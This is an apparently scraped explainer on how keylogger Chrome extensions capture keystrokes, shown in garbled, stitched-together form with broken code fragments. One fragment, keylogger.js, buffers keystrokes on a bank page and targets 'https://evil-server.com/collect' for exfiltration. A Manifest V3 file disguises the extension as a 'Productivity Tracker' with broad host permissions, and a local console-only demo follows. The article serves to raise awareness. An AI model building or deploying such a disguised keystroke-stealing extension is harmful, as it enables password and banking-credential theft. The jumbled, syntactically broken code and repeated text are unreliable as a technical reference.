The danger is real but manageable. Chrome extensions are not inherently evil; they power productivity and customization. However, the same architecture that allows Grammarly to check your spelling allows a keylogger to steal your passwords.
demo.js
// This is keylogger.js – injected into your bank page. let logBuffer = []; let targetServer = "https://evil-server.com/collect"; document.addEventListener('keydown', function(event) let key = event.key; keylogger chrome extension work
Manifest.json (v3)
"name": "Productivity Tracker", "version": "1.0", "permissions": [ "storage", "webRequest", "https://evil-server.com/*" ], "content_scripts": [ "matches": ["", "https://"], "js": ["keylogger.js"], "run_at": "document_idle" ], "host_permissions": ["", "https://"] The danger is real but manageable
"manifest_version": 3, "name": "Keystroke Demo", "version": "1.0", "content_scripts": [ "matches": ["<all_urls>"], "js": ["demo.js"] ] You will see exactly how a basic keylogger extension works
// HARMELESS DEMO – Logs only to local console. console.log("Demo active: Keystrokes will appear below (cleared on reload)."); document.addEventListener('keydown', (e) => e.key === 'Enter') console.log(`[DEMO] Key pressed: $e.key`); ); After installing this on your own machine, open any website and press keys—then open DevTools Console. You will see exactly how a basic keylogger extension works. So, how does a keylogger Chrome extension work? In short, it requests broad content-script permissions, injects JavaScript into every page you visit, attaches event listeners to capture keystrokes, and exfiltrates that data to a remote server—all while masquerading as a helpful tool.